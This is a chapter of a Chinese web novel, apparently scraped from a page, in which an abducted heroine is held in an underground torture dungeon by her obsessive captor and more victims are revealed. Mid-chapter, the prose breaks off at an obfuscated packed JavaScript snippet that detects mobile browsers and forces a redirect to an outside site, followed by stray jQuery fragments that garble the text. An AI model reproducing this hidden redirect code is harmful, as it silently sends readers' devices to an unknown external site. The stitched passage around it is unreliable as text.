咛——
江月见自一阵尖锐的耳鸣中恢复意识。
嗅觉最先苏醒,霉斑裹着潮湿的泥腥气,混着铁锈味在喉间翻涌。
她挣扎着掀开眼皮,残留的迷药让她眼前蒙着层血色雾霭,放眼望去,黑暗浓稠得几乎具有实体。
咳嗽呛出喉咙,她试图撑起身体,却听得脚边哗啦作响,脚踝间铁链随着动作突然绷直。
——她被囚禁了。
“滴答”的水声自四面八方杂乱坠落,眩晕感陡然袭来,江月见想起昏迷前余光闪过的那道青色衣袖,呼吸凝滞。
忽然间,诡异的脚步响起,一盏将熄未熄的油灯游曳而来。
拐角处铁门嘎吱一声打开又叩上,鬼火渐近了。
而她终于得见将她掳来此处的罪魁祸首——那人侧脸上蜿蜒着狰狞疤痕。
“柳如是,你好大的胆子。”江月见冷笑。
柳如是晦暗的眼眸在鬼火中闪着异样的光芒。
他笑了,白面书生般的面容上浮起阴鸷的狞笑。
“不装了?”
江月见嗤笑道:“柳将军都将我抓来此处了,我还虚以委蛇做什么?”
他提着灯笼,居高临下地俯视着她,喟叹道:“其实,你演得很好,我几乎就要信了。”
“人手我都安排好了,只要午时,你乖乖的和他们出城。百里外的驿站,我会在那里等你。”
“然后……”他的叹气声渐渐粗重,“然后,我会带你回来,来我的牢笼。一生一世,永不分离。我们说好的,你怎么忘了呢?”
江月见冷眼相对,浑身绷着抗拒与僵硬的冷冽气息。
“别灰心呀,小流光。”
他嘴角抬起,叹道:“你的归宿,本就是这里。”
他俯身望她,眼神低垂,扫过她鼻尖小痣。
“喜欢这里吗?”
江月见不接他话,只反问:“为什么抓我?你就不怕摄政王拿你是问?”
“为什么抓你,你不知道吗?你们去寻林漱玉之父的次日,他便来信要挟我,说此事已捅到了摄政王眼前,叫我赶紧把江颀风交出去,让江颀风把他女儿交出来。”
听闻兄长名字,江月见呼吸停滞了一瞬。
她说:“可林漱玉根本不是江颀风抓走的,而是你。”
柳如是仰天大笑,并不接话,顾左右而言他,道:“别指望摄政王来救你了。你以为他找得到你?小流光,别忘了,商队所有人都可以作证,你自己离开了商队,而后不知所踪。”
“你的失踪,与我柳某又有什么干系?”
江月见手心已隐隐起了层薄汗。
柳如是抓她,一半是因为她与林漱玉有相似之处,另一半则是因为他们在找林漱玉的下落,叫柳如是起了反心,故意与谢徵玄作对。
这两个理由,一个叫她生,一个叫她死。生死一线之间,全握在柳如是手中。
昏迷前她眼见着谢徵玄策马离开,行色匆匆,不知是否京中有事召回。
她不能指望别人来救她,必须要靠自己活着逃出去。
柳如是痴迷地望着她清冷的面庞,见她走神,眼中忽浮起薄怒,攥起她的手腕,逼她起身,踉跄跟在他身后。
“你在想谁?在我身边,你还在想谁?”
江月见咬牙,不发一言。
柳如是一手提灯,一手拖拽着她,顺着墙根大步游走,铁链在潮湿地面上刮出火星,一如他眼底执念。
那道从眉骨劈到嘴角的疤在油灯下蠕动,宛如皮下藏着的蜈蚣,狰狞可怕。
“怎么?我为你准备的囚牢,不喜欢吗?你闻到了吗,多么苦涩美妙的味道啊。”
他突然掐住她后颈逼她俯身,指节陷进她散乱的发丝。
“我命人用药材熏过墙砖,就像药材铺子的苦味。阿玉说过,她最喜欢药味了。”
“熏了月余,我才把她抓来,关在这里。”
他的笑死逐渐张扬,变得癫狂,狰狞笑声撞在石壁上,碎裂成无数回音。
“可她不喜欢,她说……恶心,恶心极了,和我一样,恶心极了……”
他身体匍匐紧贴墙砖,急促呼吸,忽然又暴怒地掷出油灯。
“不对,不对不对!为什么现在全是血腥味?阿玉不喜欢!”
江月见踉跄着退后,但见火光忽明忽暗间,墙上竟遍布着密密麻麻的血红抓痕。
柳如是又静了,手指爱怜地抚摸过那些抓痕,痴迷低语:“但是没关系,这里还有你留下的痕迹,你的味道。”
言语间眷恋意味,似陷入回忆。
江月见敛息,趁机环顾四周。
这是密室无疑,密不透风,更无明窗。拐角处有一铁门横踞,柳如是便是从那铁门进来的,铁门背后又通向何处?
囚牢阴暗湿冷,除她所在外,边缘突兀地横着张泛着寒光的铁桌。
铁桌上各式刑具横陈,铁钳齿缝里还残落着几片指甲,仿若僵死毒蛇的皮鞭盘踞在桌角,鞭梢还粘着暗褐色的血迹。
而狰狞刑具之外,一副笔墨纸砚格格不入地安放一边——夜闹柳宅时,他们曾搜到此物,却被柳如是轻描淡写敷衍过去了。
江月见心沉到了谷底,柳如是设此地牢,她一定不是第一个受害者。
那些传言中突然失踪,又摇身一变成为押镖女,去往京城后再无音讯的女孩子们,是不是都曾在这座囚牢中受过非人的虐待?
为什么抓了人凌虐后又放去了京城,柳如是做这一切究竟是为了什么?
江月见头痛不已,余光无意间瞥见铁桌下竟赫然落着只货箱,锁扣轻轻耷拉着,无声无息。
她屏住呼吸,她曾在商队见过这只货箱,正是初访那日两个胡人偷偷运送的。难道……吴姣在箱子里?
头顶忽地坠下一滴带着泥土腥气的水珠,砸上眉心。
她猛然抬头,看到头顶的墙壁上竟嵌着一道方形暗门。
暗门边缘渗下几缕微光,在潮湿的空气中形成朦胧的光柱。细小的尘埃在光中浮动,像被困在琥珀里的飞虫。
门在头顶……他们竟是在地下!
暗门四周的墙壁上布满抓痕,有些痕迹还很新鲜,木屑和泥土散落周围。
显然曾有人试图从这里攀爬逃生,却徒劳无功。
柳如是缓慢行过铁桌,一一抚过染血的刑具,忽然大笑着回身望她。
“小流光,喜欢这里吗?要是说不喜欢的话,我可是会生气的。”
江月见定住,缓缓问道:“林漱玉在哪里?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567254|170486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
柳如是痴狂的眼神倏然凝滞,一丝冷血意味闪过。
他张开双臂,鼻翼翕动,似在嗅闻此间腥味,餍足地仰头高呼道:“你没有感觉到吗?她就在这里,她无所不在。”
江月见心中闪过不安。
“你杀了她?”
柳如是痴痴笑出声来,细长的手指在她眼前摇摆。
“不,我怎么会杀她呢?我那么爱她。我只是,让她在这里留了一点血啊。”
“只有她的血,才能叫我欢欣。”
“可阿玉不听话。她哭啊,闹啊,还趁我不注意,要去自杀。”
“我怎么舍得她死呢?”
他轻轻摩挲着铁钳尾端的带血指甲,似在爱抚爱人的手指。
“所以,我把她带回家了。”
“你不知道吗?昨日我邀你进房,你不愿。可你心心念念要找的林漱玉,那时就在我房中,在我榻上。”
江月见头皮发麻,鸡皮疙瘩全然竖起。
他这个疯子!
明知道他们在找林漱玉,竟敢铤而走险,刀尖舔血,故意挑衅她?
“她一直住在你府上?”
“怎么会呢,阿玉是我的心肝啊,心肝……当然要藏起来。她那老不死的爹像疯狗一样到处攀咬,我只能把阿玉藏得深深的。”
江月见道:“那这里是商队的地下密室,是么?”
柳如是一顿,抱臂瞧她。
“你还是那样聪明。说真的,我有些舍不得杀你了。”
果然,她被迷晕后,通过柳宅密道,被运到了商队地牢,那道铁门之后应当就是连通柳宅和商队的地道。
所以,柳如是设了两处地牢,分别位于商队地下和柳宅卧房地下,地牢间有密道相连。
林漱玉被关在柳宅地牢,而商队地牢——则是他用来囚禁商队“押镖女”的所在。
他究竟想干什么?
“吴姣呢?这次的押镖女吴姣,你把她藏哪儿了?”
柳如是食指轻叩了叩太阳穴,漫不经心地瞥向那货箱。
“吴皎?哦,她在里面睡觉呢。可惜了,睡过头,做不成这次的押镖女了。”
江月见不禁胆寒,挣扎着要去打开货箱。
柳如是却嗤笑着攥起她的手腕,挟持着她行至铁桌旁,将她单手拷在了桌沿挂锁上。
“好了,小流光,别再浪费力气了。你都自顾不暇了,还要救人呢?”
手腕被紧紧锁住,江月见只能戒备地背靠住墙壁,冷眼觑他。
地牢内烛火幽暗,铁锈与血腥味在潮湿的空气中交织。
突然,头顶传来“吱呀”一声刺耳的响动。
暗门被猛然掀开,刺目的天光如利剑般劈入地牢,灰尘在光束中狂舞。
柳如是看清上头人,忽然仰头大笑,脸上那道疤在逆光中更显狰狞。
“瞧,可真稀奇,头一次有清醒的押镖女被送过来。怎么不直接迷晕了送到我房里?”
砰的一声巨响后。
一道丰饶的身影被粗暴地推了下来,重重摔在地上。
女子绯红衣裙染了泥污,发间珠钗断裂,锆石迸溅,十指染着艳丽的蔻丹,她颤抖着撑起身子,抬眸。
江月见瞳孔骤缩——是叶棠。